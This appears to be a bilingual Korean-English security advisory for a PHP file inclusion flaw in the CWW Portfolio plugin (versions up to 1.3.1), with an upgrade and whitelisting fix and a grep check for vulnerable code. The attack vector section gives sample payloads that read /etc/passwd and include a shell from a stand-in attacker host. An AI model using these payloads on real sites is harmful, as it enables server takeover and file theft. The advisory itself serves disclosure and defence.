🇰🇷 한글 설명
CWW Portfolio 포트폴리오 플러그인에서 PHP include/require 구문의 파일명 제어 부족으로 인한 원격 파일 포함(RFI) 및 로컬 파일 포함(LFI) 취약점입니다. 공격자가 악의적인 파일을 포함하도록 조작하여 서버에서 임의의 코드를 실행할 수 있습니다.
💡 쉬운 설명
웹사이트가 사용자가 제공한 파일명을 제대로 검증하지 않아, 공격자가 악의적인 파일을 실행시킬 수 있습니다. 이를 통해 웹사이트 전체가 장악될 수 있습니다.
🇺🇸 원문 (English)
Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in codeworkweb CWW Portfolio cww-portfolio allows PHP Local File Inclusion.This issue affects CWW Portfolio: from n/a through <= 1.3.1.
📍 영향받는 시스템
CWW Portfolio version <= 1.3.1
⚔️ 공격 벡터
공격자가 include/require 함수에 사용되는 파일명 파라미터를 조작하여 악의적인 파일을 포함하도록 강제 (예: ?file=../../etc/passwd 또는 ?file=http://attacker.com/shell.php)
🛡️ 대응 방법
CWW Portfolio를 1.3.2 이상으로 업그레이드하거나, 입력값을 엄격하게 검증하고 화이트리스트 방식으로 파일명을 제한하는 코드 패치 적용
🔧 검증 코드
위 명령어에서 사용자 입력(GET/POST/REQUEST)을 직접 include/require에 사용하는 코드가 있으면 취약점이 존재하는 것으로 판단
grep -r 'include\|require' /path/to/cww-portfolio --include='*.php' | grep -E '\$_GET|\$_POST|\$_REQUEST' | head -5